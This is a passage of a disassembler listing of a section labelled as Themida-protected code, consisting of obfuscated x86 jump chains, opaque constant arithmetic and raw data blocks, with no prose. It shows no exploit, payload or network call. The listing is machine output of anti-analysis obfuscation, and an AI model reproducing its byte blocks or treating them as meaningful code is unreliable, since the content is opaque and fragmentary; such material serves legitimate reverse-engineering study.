		dd 0CA015DE9h, 4EC8359h, 0FF241489h, 0E9042474h, 0FFFEEE57h
		dd 81240C8Bh, 4C4h, 51FF0400h, 0FF143FE9h, 241C89FFh, 4BBh
		dd 0F3C78100h, 162B151h, 0D1E952DFh, 1FFFF54h, 0BB19E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5E76:				; CODE XREF: Themida_:005A4309j
		push	ebx
		mov	ebx, 51DF3A86h
		jmp	loc_5973AA
; ---------------------------------------------------------------------------


loc_5A5E81:				; CODE XREF: Themida_:0059CB55j
		push	edi
		jmp	loc_5A3F83
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 79C38104h, 1514F34h, 79EB81D3h, 5A514F34h
		dd 0FF346EE9h, 4C483FFh, 37A1C581h, 0C15914BDh,	0D5F708E5h
		dd 0FF8585E9h, 0EA3166FFh, 0D701665Dh, 12B6E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5EC2:				; CODE XREF: Themida_:00593CDCj
		sub	ebx, 22031875h
		pop	edi
		sub	ebx, 4BFB3093h
		add	ebx, ecx
		add	ebx, 4BFB3093h
		add	ebx, 153D546Ah
		pop	ecx
		jmp	loc_5A2AA8
; ---------------------------------------------------------------------------
		db 81h
		dd 0D81176F7h, 0E9D7F73Eh, 0FFFF9FDDh, 2414F755h, 99E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A5EF9:				; CODE XREF: Themida_:005A651Bj
		pop	edi
		jmp	loc_5A019C
; ---------------------------------------------------------------------------
		db 51h
		dd 7A76C4B9h, 81414167h, 506438E9h, 59C82921h, 7825D405h
		dd 45252D4Fh, 0D0012D23h, 23452505h, 0E4BA522Dh, 8116CC75h
		dd 0B45030F2h, 65B00559h, 0D02903A0h, 0FF6C9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5F39:				; CODE XREF: Themida_:005A1301j
		mov	ebx, 10E9F787h
		add	eax, ebx
		pop	ebx
		sub	edx, eax
		pop	eax
		add	edx, ebx
		jmp	loc_59B08A
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4, 0FFD58BE9h, 9DE959FFh, 55FFFFD5h,	1073C0BDh, 0CE2E973h
		dd 0EB80FFFFh, 0F8A9E937h, 0C9BEFFFEh, 464E2B03h, 0CE814E46h
		dd 1E8D7721h, 77EFF681h, 0F7015EAFh, 0FFCEEDE9h, 0B65266FFh
		dd 2D27E971h, 455DFFFFh, 4A14CD81h, 77685258h, 8900006Ah
		dd 0B850243Ch, 0D8F0D56h, 0E904E8C1h, 0FFFFDC97h, 1414E581h
		dd 0C581509Bh, 77B720D5h, 34FFE809h, 89525D24h,	4C281E2h
		dd 81000000h, 4C2h, 24148700h, 3BF9355Ch, 61E97BB7h, 2DFFFFBFh
		dd 12156730h, 5081BA52h, 0C281023Ch, 4580396Fh,	295AD029h
		dd 814D58C5h, 0A911B5EDh, 5DE889D4h, 652BC281h,	0C2294AADh
		dd 652BEA81h, 34FF4AADh, 0C4835824h, 13E6E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A601A:				; CODE XREF: Themida_:00597463j
		pop	esp
		mov	[esp], ebx
		jmp	loc_5A2822
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 56000000h,	4BEh, 0DFC28100h, 294F2518h, 97EFE9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A603E:				; CODE XREF: Themida_:005A09E5j
		mov	edx, 1
		add	ecx, edx
		pop	edx
		push	dword ptr [edi+24h]
		jmp	loc_597531
; ---------------------------------------------------------------------------


loc_5A604E:				; CODE XREF: Themida_:005A5E2Ej
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 372C15F8h
		push	dword ptr [esp]
		jmp	loc_5A5B06
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 0CBE9D801h, 1FFFF2Dh, 0E98158C1h,	4, 0FFA1FEE9h
		dd 1C77FFFFh, 0D359669Dh, 0E99C241Ch, 0FFFEBEE4h, 815A5952h
		dd 0BB5DF7E1h, 0C1814963h, 0FFFFFFFFh, 5641D1F7h, 56B750BEh
		dd 5EF1299Eh, 0C8BCA01h, 4C48324h, 0FFC4A8E9h, 5C8BFFFh
		dd 7C017F39h, 5F5F0424h, 5C8EF81h, 15D7F39h, 2434FFF8h
		dd 4C4835Fh, 61E0EB81h,	0E9530492h, 0FFFF47D1h,	47286853h
		dd 8F540000h, 28E92404h, 8BFFFEC4h, 0C481241Ch,	4, 0E9240C87h
		dd 0FFFFC75Fh, 4C481h, 0EB830000h, 241C8704h, 8924248Bh
		dd 0E957240Ch, 0FFFFD4C7h, 0E9D3F793h, 0FFFFF46Ch
; ---------------------------------------------------------------------------


loc_5A611C:				; CODE XREF: Themida_:005970AFj
		push	eax
		xchg	ebx, [esp]
		push	0CE8h
		mov	[esp], ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A4746
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 151165A0h, 0FF8D92E9h, 32BE68FFh, 4890000h, 34C6B824h
		dd 0F16825AAh, 89000031h, 59BD242Ch, 893C46D4h,	0C5E95DE9h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6163:				; CODE XREF: Themida_:0059E592j
		mov	[esp], ebx
		jmp	loc_5A3C2F
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 8704C383h, 515C241Ch,	12444FEh, 0FFBA67E9h
		dd 82E981FFh, 8931970Bh, 0DEF759CEh, 96F5F681h,	0F301CFDBh
		dd 268515Eh, 59000000h,	0BA25E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A61A6:				; CODE XREF: Themida_:0059DD9Ej
		mov	ecx, ebp
		pop	ebp
		pop	edx
		sub	esi, ecx
		mov	ecx, [esp]
		push	edx
		push	esp
		jmp	loc_59BE65
; ---------------------------------------------------------------------------
		dw 0D148h
		dd 218605E0h, 0C389CC56h, 0FEFBC9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A61C5:				; CODE XREF: Themida_:0059E64Cj
		push	ecx
		mov	ecx, 414D3DDCh
		mov	edi, ecx
		pop	ecx
		sub	eax, 27AF3962h
		jmp	loc_594FF0
; ---------------------------------------------------------------------------
		dd 33F868h, 24348900h, 35CF68h,	24248900h, 0FEFC32E9h
		dd 241487FFh, 0FFEEF2E9h, 0F8BA52FFh, 293EEF0Ah, 98E95AD0h
		dd 0D1FFFF0Bh, 0BE5640E8h, 69587330h, 0FF3262E9h, 5EF389FFh
		dd 5BDA015Fh, 2474FF52h, 0E311E904h, 0E704FFFEh, 0E970B551h
		dd 0FFFF1E44h, 11E4EA81h, 555E0971h, 4BDh, 0E9EA2900h
		dd 0FFFFAC6Fh, 5603EDC1h, 0FF7724E9h, 0B95148FFh, 3DC502FBh
		dd 5759C831h, 0B639D5BFh, 0EF78120h, 0E93DCC0Dh, 0FFFFD4F9h
; ---------------------------------------------------------------------------


loc_5A6264:				; CODE XREF: Themida_:005A64A5j
		xchg	edx, [esp]
		pop	esp
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 227577AAh
		xor	esi, 6B301534h
		sub	esi, 103E74F4h
		add	esi, 1
		shl	esi, 6
		jmp	loc_5A0D14
; ---------------------------------------------------------------------------


loc_5A6293:				; CODE XREF: Themida_:0059A602j
		sub	eax, 48C5DC6h
		mov	edx, [esp]
		jmp	loc_595C8F
; ---------------------------------------------------------------------------
		dd 4EC8359h, 0BB241C89h, 72DA2738h, 5208EBC1h, 0FFC9EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A62B5:				; CODE XREF: Themida_:005A36A6j
		mov	eax, 0D559A464h
		add	ecx, eax
		pop	eax
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		add	eax, 6A59277Dh
		pop	ebx
		sub	eax, 721BE990h
		sub	edi, eax
		pop	eax
		push	ebx
		jmp	loc_59200A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 259968h, 24348900h, 487668h, 24248900h, 4240481h
		dd 5E000000h, 0FEE06DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A62F9:				; CODE XREF: Themida_:0059524Ej
		mov	ebx, 4
		jmp	loc_597129
; ---------------------------------------------------------------------------
		db 81h
		dd 0BCEEA2F5h, 0E9E90124h, 0FFFF0DB2h, 4C481h, 2E90000h
		dd 1FFFF6Ch, 0D3295EF3h, 7B06EB81h, 665A3CFDh, 5600B60Fh
		dd 0EC835E54h, 241C8904h, 59FABF57h, 0E7C10A2Fh, 81D7F704h
		dd 68300CC7h, 0F057E91Bh, 6866FFFFh, 8966264Dh,	16E9240Ch
		dd 1FFFF9Bh, 69C681DEh,	8151CD3Ah, 3A66E8C6h, 98E95B6Ch
		dd 88FFFF14h, 241C8BD9h, 0FF7C6AE9h, 5FF989FFh,	0FF981DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A637D:				; CODE XREF: Themida_:0059B80Ej
		xor	ecx, 0E329C64Ah
		add	esi, ecx
		pop	ecx
		add	esi, 38D37D99h
		sub	esi, 8F9FA172h
		jmp	loc_5A2879
; ---------------------------------------------------------------------------
		db 87h
		dd 2DE9243Ch, 58FFFF30h, 0C108E5C1h, 0E58106E5h, 342B36E4h
		dd 4F581h, 0E901102Bh, 0FF3660E9h, 0E9D7F7FFh, 0FFFF08CCh
; ---------------------------------------------------------------------------


loc_5A63C0:				; CODE XREF: Themida_:005989F3j
		sub	bl, al
		add	bl, 39h
		pop	eax
		add	bl, 0D1h
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 20F15034h
		shl	ecx, 5
		sub	ecx, 0D1E8B329h
		push	ebx
		jmp	loc_5A1DDA
; ---------------------------------------------------------------------------


loc_5A63E4:				; CODE XREF: Themida_:0059C2DBj
		not	ebx
		add	ebx, 0ACDFFFF4h
		add	ebp, 281E1068h
		jmp	loc_595389
; ---------------------------------------------------------------------------


loc_5A63F7:				; CODE XREF: Themida_:0059DB7Fj
		mov	[esp], ebp
		push	4E012BD7h
		mov	ebp, [esp]
		add	esp, 4
		not	ebp
		sub	ebp, 6DF816A7h
		push	eax
		push	ebp
		mov	ebp, 4C7E55FFh
		mov	eax, 7CC8F491h
		jmp	loc_5A1306
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0FA4E924h, 0C481FFFFh, 4, 20F8C281h,	0C2012562h, 20F8EA81h
		dd 0BB532562h, 367C786Dh, 0E95BDA29h, 0FFFEBB28h
; ---------------------------------------------------------------------------


loc_5A6448:				; CODE XREF: Themida_:0059E4B6j
		mov	esp, [esp]
		push	edi
		jmp	loc_5A3835
; ---------------------------------------------------------------------------


loc_5A6451:				; CODE XREF: Themida_:0059D76Aj
		mov	edx, 24h
		add	edx, edi
		xor	[edx], ecx
		pop	edx
		jmp	loc_5A09C9
; ---------------------------------------------------------------------------
		dd 965885BFh, 81EFD17Ch, 0F65F28E7h, 0FCEF8164h, 124420Bh
		dd 3CD5E9FAh, 0C781FFFFh, 4, 4C781h, 0FF570000h, 8B042474h
		dd 0C481243Ch, 4, 0FF9929E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6499:				; CODE XREF: Themida_:0059DDD9j
		add	edx, 4
		add	edx, 4
		jmp	loc_5A6264
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 0E9240C33h, 0FFFEE7AAh, 0D87BE56h, 0F10107C1h
		dd 81C1015Eh, 0C10D87E9h, 5AB85007h, 81465F2Bh,	0E14549E9h
		dd 81C1017Bh, 0E14549C1h, 48B587Bh, 0E6895624h,	4C681h
		dd 0C6810000h, 4, 8B243487h, 25E92424h
		db 0BEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A64FB:				; CODE XREF: Themida_:00595479j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A5A8F
; ---------------------------------------------------------------------------


loc_5A6509:				; CODE XREF: Themida_:005A0F6Bj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_595CD3
; ---------------------------------------------------------------------------


loc_5A6514:				; CODE XREF: Themida_:0059BB8Cj
		sub	dword ptr [esp], 1DFB1016h
		jmp	loc_5A5EF9
; ---------------------------------------------------------------------------
		dd 4D243481h, 5973201Dh, 1D4DF181h, 0C3E97320h
		db 0DBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A6533:				; CODE XREF: Themida_:005A5503j
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 8E9554Ah
		sub	ecx, eax
		sub	ecx, 8E9554Ah
		push	edi
		jmp	loc_5A04A4
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 0BB535AD0h, 2, 0E95BD801h,	0FFFEF73Fh, 240C8B66h
		dd 199768h, 24148900h, 52555A54h, 3A740ABAh, 8BFABD29h
		dd 0D501D6C5h, 0FF95B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6589:				; CODE XREF: Themida_:0059A285j
		push	esi
		mov	esi, 4
		sub	ecx, 1A700CFAh
		add	ecx, esi
		add	ecx, 1A700CFAh
		pop	esi
		jmp	loc_5A1E3F
; ---------------------------------------------------------------------------
		db 66h
		dd 664C6368h, 66242C89h, 663123BDh, 8C32E957h, 0C15EFFFFh
		dd 0E1C107E1h, 7295E903h, 0E089FFFFh, 0FF2A66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A65C9:				; CODE XREF: Themida_:005A1B3Fj
		mov	ecx, esp
		push	ebx
		mov	ebx, 2FD93634h
		inc	ebx
		add	ebx, 0D026C9CFh
		sub	ecx, 2F3C2AD4h
		add	ecx, ebx
		add	ecx, 2F3C2AD4h
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		jmp	loc_5A1956
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89522404h, 0D572E9E2h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A6606:				; CODE XREF: Themida_:0059C75Cj
		mov	[esp], esi
		push	eax
		mov	eax, 58EE72CEh
		shr	eax, 2
		xor	eax, 228C2C30h
		sub	eax, 0F8F93F83h
		mov	esi, eax
		pop	eax
		sub	eax, esi
		pop	esi
		push	37Fh
		mov	[esp], esi
		jmp	loc_59AC41
; ---------------------------------------------------------------------------
		db 0Dh
		dd 3C363DA3h, 31D7F797h, 0E9C731F8h, 0FFFF29A5h, 0E934E580h
		dd 0FFFFD585h
; ---------------------------------------------------------------------------


loc_5A6648:				; CODE XREF: Themida_:005A57C2j
		pop	edx
		add	ebx, 0E67A223Bh
		push	ecx
		mov	ecx, 24D13A17h
		xor	ecx, 5BE53570h
		sub	ebx, ecx
		pop	ecx
		xor	ebx, 47F57AFh
		add	ebx, 0FFFFFFFFh
		push	esi
		mov	esi, 7D1572E1h
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		shl	ebx, 4
		jmp	loc_596AA4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 69E92434h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A668B:				; CODE XREF: Themida_:0059BA39j
		pop	ebp
		jmp	loc_593279
; ---------------------------------------------------------------------------


loc_5A6691:				; CODE XREF: Themida_:0059B23Cj
		push	ecx
		push	5F676968h
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A2654
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 27AAh, 54243489h,	4C6815Eh, 83000000h, 0DDE902C6h
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A66CB:				; CODE XREF: Themida_:00596889j
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 4AEC5849h
		jmp	loc_5A69A0
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F68106E6h, 40FF20F1h, 663FE681h, 0E95742CAh, 0FFFF45CEh
		dd 0B8h, 51D00100h, 7F243481h, 8F4B9353h, 7F308100h, 584B9353h
		dd 0FFF466E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6711:				; CODE XREF: Themida_:005A0197j
		shr	ecx, 0Bh
		push	ebx
		sub	dword ptr [esp], 63D1C79h
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5921FB
; ---------------------------------------------------------------------------


loc_5A672D:				; CODE XREF: Themida_:0059739Aj
		add	esp, 4
		add	esp, 4
		xor	ebx, 59F4521Bh
		push	5DBAh
		mov	[esp], ebp
		mov	ebp, 25DD5517h
		jmp	loc_59BCEA
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 1Bh
		dd 15FA732h, 0BE78E9EFh, 0C6BDFFFEh, 0F779271Eh, 0DC17E9D5h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A676A:				; CODE XREF: Themida_:005A1D1Cj
		pop	eax
		add	ebx, 9120405h
		add	edx, 14667B75h
		add	edx, ebx
		jmp	loc_5A374D
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 3D301330h, 0FFFC30E9h, 0C78166FFh, 0EBE908E4h, 8BFFFF37h
		dd 8957240Ch, 4C781E7h,	52000000h, 4BAh, 0E9D70100h, 0FFFF2A58h
; ---------------------------------------------------------------------------


loc_5A67AC:				; CODE XREF: Themida_:00598D75j
		xchg	ecx, edx
		inc	edx
		neg	edx
		xor	edx, 0EBB7ED6Dh
		add	esi, edx
		pop	edx
		pop	eax
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	1529h
		jmp	loc_59A329
; ---------------------------------------------------------------------------


loc_5A67E6:				; CODE XREF: Themida_:00599673j
		add	ebx, edx
		add	ebx, 113A723Eh
		jmp	loc_59E661
; ---------------------------------------------------------------------------
		db 0Dh
		dd 4E022B85h, 97D7F797h, 0FF9171E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6801:				; CODE XREF: Themida_:005A6858j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	1196h
		jmp	loc_5A07A1
; ---------------------------------------------------------------------------
		dd 70C6E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A681A:				; CODE XREF: Themida_:005A302Cj
		mov	esi, 1A6723E7h
		xor	esi, 1A6723E3h
		jmp	loc_595912
; ---------------------------------------------------------------------------
		dw 3158h
		dd 0CB015FF9h, 32F3E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6836:				; CODE XREF: Themida_:005A0D0Fj
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A6801
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5904h, 24248B24h,	240C8B66h, 5E08950h, 4,	8704E883h
		dd 895C2404h, 5068241Ch, 89000028h, 4812424h, 424h, 5685B00h
		dd 0E900002Bh, 0FFFF29A0h, 0E6885866h, 0F2BCE958h, 5052FFFEh
		dd 0E28840B4h, 8BD12058h, 7EE92414h, 0BFFFFF70h, 614C4003h
		dd 15E4EF81h, 5DE9068Bh, 89FFFEDEh, 4E92414h, 5FFFFE1h
		dd 0E17EAFA0h, 48BC289h, 4C48324h, 0FF4902E9h, 0A6F781FFh
		dd 682FBA29h, 61D2h, 0B8240489h, 0FFFFFFFFh, 0D4E9C701h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A68F7:				; CODE XREF: Themida_:0059AE61j
		pop	esp
		push	ebp
		jmp	loc_5959C5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 18E9240Ch, 5CFFFF47h, 0FEF06DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A690D:				; CODE XREF: Themida_:0059E114j
		sub	esi, 0C202BB3h
		push	esi
		jmp	loc_59BC3C
; ---------------------------------------------------------------------------


loc_5A6919:				; CODE XREF: Themida_:00598D5Dj
		add	esp, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A692A:				; CODE XREF: Themida_:00595A40j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	esi
		push	ebx
		add	dword ptr [esp], 0C202BB3h
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	189Eh
		mov	[esp], edi
		push	ecx
		mov	ecx, 5AB96608h
		jmp	loc_596E55
; ---------------------------------------------------------------------------


loc_5A696F:				; CODE XREF: Themida_:00598A25j
		sub	ebx, 795D3AD1h
		dec	ebx
		jmp	loc_591FE7
; ---------------------------------------------------------------------------
		db 89h
		dd 4BF243Ch, 0E9000000h, 0FFFFB8FEh
; ---------------------------------------------------------------------------


loc_5A6988:				; CODE XREF: Themida_:005970BDj
		mov	edi, [esp]
		jmp	loc_59D574
; ---------------------------------------------------------------------------
		dd 68C6FE58h, 679Fh, 0E9240C89h, 0FFFED9B5h
; ---------------------------------------------------------------------------


loc_5A69A0:				; CODE XREF: Themida_:005A66DAj
		push	dword ptr [esp]
		jmp	loc_598068
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0BB53240Ch, 3F97746Bh, 515BD989h,	0FFC0A4E9h
		dd 33BE56FFh, 0E9379A07h, 0FFFF4E01h, 0E90DB652h, 0FFFFE1D0h
; ---------------------------------------------------------------------------


loc_5A69D0:				; CODE XREF: Themida_:00599B36j
		xor	ebp, 0AC7FB1CBh
		jmp	loc_59A99E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 584768h, 24048900h, 51D8E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A69F2:				; CODE XREF: Themida_:00598AFFj
		push	eax
		mov	eax, 3B947210h
		shr	eax, 6
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5B683531h
		shr	esi, 2
		dec	esi
		sub	esi, 5221ED2h
		add	esi, 105231AEh
		or	esi, 7B2434FFh
		add	esi, 0F039CD4Bh
		xor	eax, esi
		pop	esi
		add	eax, 67F17B4Ah
		sub	eax, 367C114Eh
		sub	eax, 65BE74BDh
		add	eax, 0E764B9C2h
		add	esi, eax
		pop	eax
		jmp	loc_593AF9
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 242C895Ch, 5B2434FFh, 4C481h, 42E90000h, 1FFFF07h, 59BF57FBh
		dd 8131670Ch, 9DDE6FEFh, 5FFB012Dh, 298BC381h, 0EB81174Eh
		dd 7C2E54A4h, 0BA52h, 0BF570000h, 5B95399Dh, 1BC7814Fh
		dd 0E91C4108h, 0FFFED140h, 83241C8Bh, 0F28104C4h, 59061A6Ch
		dd 4EC81h, 14890000h, 2414F724h, 0E9CA315Ah, 0FFFED467h
		dd 0C05BDA88h, 0E2C008EAh, 0B5B45003h, 0FFFF0BE9h, 986856FFh
		dd 89000068h, 0B368241Ch, 0E933051Ah, 0FFFF10BEh, 34FFEA89h
		dd 1E95D24h, 31FFFEB6h,	0E9D1F7C8h, 0FFFEB786h,	0E904C483h
		dd 0FFFF4696h
; ---------------------------------------------------------------------------


loc_5A6AEC:				; CODE XREF: Themida_:0059CA33j
		pop	cx
		xor	dh, 9Fh
		mov	ah, dh
		jmp	loc_5A19EC
; ---------------------------------------------------------------------------
		dd 242C8166h, 8B666728h, 0C481243Ch, 2,	0FF404BE9h, 0E80059FFh
		dd 0AAB551h, 0C8B59E8h,	4C48324h, 0B252D800h, 319E95Bh
		dd 0D4680000h, 5400007Dh, 0FF1323E9h, 4EA83FFh,	0D3168h
		dd 24148900h, 42474FFh,	0E924148Bh, 0FFFEBCDEh,	5F2434FFh
		dd 4EC81h, 2C890000h, 0E9E58924h, 0FFFF1374h
; ---------------------------------------------------------------------------


loc_5A6B5C:				; CODE XREF: Themida_:0059DB2Fj
		push	61A6h
		push	3CD6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	27B5h
		mov	[esp], eax
		push	ebp
		push	edi
		mov	edi, 7D3860BCh
		push	edi
		mov	edi, 47B545C1h
		mov	ebp, 9C9F5060h
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, edi
		pop	edi
		jmp	loc_59A06E
; ---------------------------------------------------------------------------


loc_5A6B9D:				; CODE XREF: Themida_:00598BFAj
		add	ebp, 64EE12F4h
		add	ebp, esi
		sub	ebp, 64EE12F4h
		jmp	loc_59CFE0
; ---------------------------------------------------------------------------


loc_5A6BB0:				; CODE XREF: Themida_:0059A90Fj
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_598D0F
; ---------------------------------------------------------------------------
		db 21h
		dd 0E99C2404h, 0FFFEB3ACh, 42474FFh, 6515E95Eh,	0FF56FFFFh
		dd 5E042474h, 5C24048Fh, 205h, 24043300h, 0FF2DABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6BE5:				; CODE XREF: Themida_:00595E69j
		pop	edx
		sub	edx, 762879CFh
		sub	edx, 62B95119h
		add	edx, edi
		add	edx, 62B95119h
		add	edx, 762879CFh
		push	dword ptr [edx]
		jmp	loc_596882
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 0FF086DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6C15:				; CODE XREF: Themida_:0059C9A8j
		pop	ebp
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_592F17
; ---------------------------------------------------------------------------


loc_5A6C27:				; CODE XREF: Themida_:005A4A1Dj
		mov	[esp], edx
		pop	dword ptr [edi+24h]
		jmp	$+5
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59DB34
; ---------------------------------------------------------------------------
		dd 5DF0BF57h, 53500001h, 0C1CDFBBh, 81DBF736h, 312092EBh
		dd 72ADE926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6C5A:				; CODE XREF: Themida_:005996B8j
		mov	[esp], edi
		mov	edi, 4
		add	esi, 2DB141B3h
		sub	esi, edi
		sub	esi, 2DB141B3h
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ebx
		mov	ebx, 40000h
		mov	esi, ebx
		jmp	loc_596A9E
; ---------------------------------------------------------------------------
		db 89h
		dd 0B9240Ch, 29000000h,	0E9C889C1h, 0FFFF7E0Eh,	0FF6E381h
		dd 0EBC10DF3h, 0BCF38105h, 0E949BE7Ah, 0FFFEB7A5h
; ---------------------------------------------------------------------------


loc_5A6CAC:				; CODE XREF: Themida_:005A43E8j
		sub	edi, 683962F5h
		pop	ebp
		sub	edi, ecx
		sub	esp, 4
		jmp	loc_595866
; ---------------------------------------------------------------------------


loc_5A6CBD:				; CODE XREF: Themida_:005A6DEDj
		or	edi, eax
		pop	eax
		sub	edi, 1
		push	ecx
		mov	ecx, 5AD230DFh
		xchg	eax, ecx
		jmp	loc_59E61F
; ---------------------------------------------------------------------------


loc_5A6CD2:				; CODE XREF: Themida_:0059A8A8j
		sub	ebx, 12A206EEh
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	2CE0h
		jmp	loc_59F0E2
; ---------------------------------------------------------------------------


loc_5A6CEB:				; CODE XREF: Themida_:0059C09Ej
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_596DD1
; ---------------------------------------------------------------------------
		dd 0E95BDF89h, 0FFFECACFh, 62CE68h, 24348900h, 4F69C468h
		dd 0D6875E2Eh, 0D687D2F7h, 0F7DE874Eh, 0F7DE87D3h, 36BA52D6h
		dd 29D1B096h, 24148BD6h, 4C481h, 0B9510000h, 28E935C3h
		dd 7A80C181h, 0D9F7204Fh, 322BE953h, 435FFFFh, 1BF50C4h
		dd 0BE5658C1h, 4, 0FF3C7AE9h, 0ACEA81FFh, 178664Eh, 0ACC281DAh
		dd 5B78664Eh, 2474FF52h, 23E95A04h, 66FFFFEBh, 6824048Bh
		dd 77EFh, 0FED3A2E9h, 0E18951FFh, 4C181h, 0C1830000h, 240C8704h
		dd 241C335Ch, 33241C31h, 835C241Ch, 0E7E904C4h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6DC3:				; CODE XREF: Themida_:0059F0B7j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_59E679
; ---------------------------------------------------------------------------


loc_5A6DDE:				; CODE XREF: Themida_:005A2CC9j
		mov	eax, 505324A0h
		and	eax, 3A6438E5h
		add	eax, 3E1333C2h
		jmp	loc_5A6CBD
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 9A052BC7h, 2434FF3Eh, 0BFCBE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


